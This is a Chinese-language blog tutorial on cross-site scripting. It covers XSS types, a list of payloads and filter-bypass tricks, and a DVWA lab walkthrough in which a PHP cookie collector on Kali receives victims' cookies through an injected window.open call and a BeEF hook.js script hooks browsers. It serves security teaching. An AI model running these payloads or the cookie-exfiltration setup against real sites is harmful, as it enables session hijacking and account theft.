zoukankan      html  css  js  c++  java
  • XSS简述

    XSS:cross site script简述

    XSS 指恶意攻击者利用网站提供的接口,没有对用户提交的数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,别的用户访问都会执行被嵌入的代码。XSS漏洞存在服务器中,由被攻击者访问服务器触发,在客户端浏览器中执行恶意代码

    XSS危害

    1. 盗取各种用户账号

    2. 窃取用户cookie资料,冒充用户身份进入网站

    3. 劫持用户会话,执行任意操作

    4. 刷流量,执行弹窗广告

    5. 传播蠕虫病毒

    XSS 漏洞的验证

    • 在网页上类似搜索框,留言板的地方输入一下代码,被当做字符串输出到HTML页面中,浏览器会根据<script>标签识别为JS代码,并且会执行它,也就是说可以执行其他任意的JS代码,以此就 就验证了XSS漏洞的存在

        <script>alert(/xss)</script>
    <script>confirm(/xss)</script>
    <script>prompt(/xss)</script>

    XSS的分类

    • 反射型XSS:非持久性跨站脚本攻击,

    • 存储型XSS:持久性跨站脚本攻击,xss代码不是在某个参数中,而是存在于web服务器的数据库或文件中

      • 当页面被用户打开的时候执行,通常发生在留言本等地方

    • DOM型XSS:基于DOM的XSS,攻击的payload是由于修改受害者的浏览器页面的DOM树而执行的

    构造XSS脚本

    构造XSS脚本分为三种
    利用<>构造html/js标签
    <script>alert(xss)</script>
    伪协议,javascript:
    <a href="javascript:alert(xss)">click me</a>
    <img src="javascript:alert(xss)">
    产生自己的事件
    windows事件
    form事件
    keyboard事件
    mouse事件
    medie事件
    <img src="./joke.jpg" onmouseover='aler(xss)'>,引入一个图片,当鼠标悬停在图片上的时候出发XSS代码

     

    弹窗警告:一旦次脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,就证明存在XSS漏洞
    <script>alert(/xss)</script>
    <script>alert(document.cookie)</scirpt>

    页面嵌套
    <iframe src=http://www.baidu.com width=300 height=300></iframe>
    <iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

    页面重定向
    <script>windows.location="http://www.baidu.com"</scirpt>
    <script>location.href="http://www.baidu.com"</scipt>

    弹窗警告并重定向
    <script>alert("okkoko");location.href="http://www.baidu.com"</script>
    <script>alert('xss');location.href="http://1.1.1.1/dvwa/robots.txt"</script>

    访问恶意
    <script src="http://www.dvwa.com/xss.js"></scipt>
    <script src="http://BeEf_ip:3000"/hook.js></script>

    巧用图片标签
    <img src="#" onerror=alert('xss')>
    <img src="javascript:alert('xss');">
    <img src="http://BeEF_IP:3000/hook.js"></img>

    javasript伪协议
    <a href="javascript:alert(/xss)">touch me!</a>
    <img src="javascript:alert(/xss/)">
       

    XSS的变形,绕过

    对构造的XSS代码进行各种变形,用来绕过XSS过滤器的检测
    大小写转换
    <img sRc="#" onerror="alert(/xss/)" />
    <a hREf="javascript:alert(/xss/)">click me </a>

    引号的使用
    <Img sRc="#" onerror="alert(/xss/)" />
    <Img sRc="#" onerror='alert(/xss/)' />
    <Img sRc="#" onerror=alert(/xss/) />
    <Img/sRc="#" onerror="alert(/xss/)" />
       
       
    用  /   代替空格

    在代码的某些位置添加 回车/tab 符,来绕过关键字检测
    <a href="j
    a v a script:alert(xss)">click me</a>

    对标签的属性进行转码
    字幕            ascii码            十进制编码             十六进制编码
    a               97                  &#97                   &#x61
    e               101                 &#101                 &#x65
    <a href="j&#x61;vascript:al&#x65;rt(/xss/)">click me</a>
    可以将一下字符插入到任意位置
    Tab                     &#9
    换行                     &#10
    回车                     &#13
    可以将一下字符插入到头部位置
    S0H               &#01
    STX               &#02
           
    拆分跨站
    <script>z='alert'</script>
    <script>z=z+'(/xss)'</script>
    <script>eval(z)</script>

    双写绕过
    <script></scr<script>ipt>

     

    获取cookie的存储型XSS攻击,手动型


    使用kali搭建收集cookie的服务器
    开启kali的apache2服务:systemctl start apache2
    创建一个php脚本文件,让被攻击者访问被攻击页面时,自动访问这个文件,向攻击者发送cookie
    vim /var/www/html/cookie_rec.php
    <?php
    $cookie = $_GET['cookie'];
               $log = fopen('cookie.txt','a');
    fwrite($log,$cookie .' ');
    fclose($log);
    ?>
    给目录授权,可以写入cookie文件,chown -R www-data.www-data /var/www/
    渗透机构造一段xss代码,植入到web服务器(dvwa服务器)
    <script>window.open('http://192.168.52.146/cookie_rec.php?cookie='+document.cookie)</script>
    等待被攻击者访问web服务器,触发XSS代码,就会自动发送cookie到kali黑客服务器
    cookie的利用

     

    BeEF

    通过XSS漏洞配合JS脚本和Metasploit进行渗透

    kali开启apache2:root@kali:~# systemctl start apache2
    启动beef:root@kali:~# cd /usr/share/beef-xss
    root@kali:~# ./beef
    在浏览器上登录beef的管理页面,如果有人被攻击,在beef的管理页面就可以管理了
    http:192.168.52.146:3000/ui/panel user:beef,passwd:123456
    构建一段xss代码注入到web服务器中
    <script src="http://192.168.52.146:3000/hook.js"></script>
    等待肉鸡访问,被注入xss代码的页面,只要有肉鸡访问了该页面,hacker就可以获取该肉鸡的信息,但是只要肉鸡的页面关系,hack就会与肉鸡断开连接

     

  • 相关阅读:
    java 字符串split有很多坑,使用时请小心!!
    Java并发编程:线程池的使用
    java自带线程池和队列详细讲解
    merge into的用法
    Oracle中如何使用REGEXP_SUBSTR函数
    oracle分组统计某列逗号隔开数据
    oracle一列中的数据有多个手机号码用逗号隔开,我如何分别取出来?
    css box-shadow使用---转
    201706问题记录
    201705问题记录
  • 原文地址:https://www.cnblogs.com/jmuchen/p/13263731.html
Copyright © 2011-2022 走看看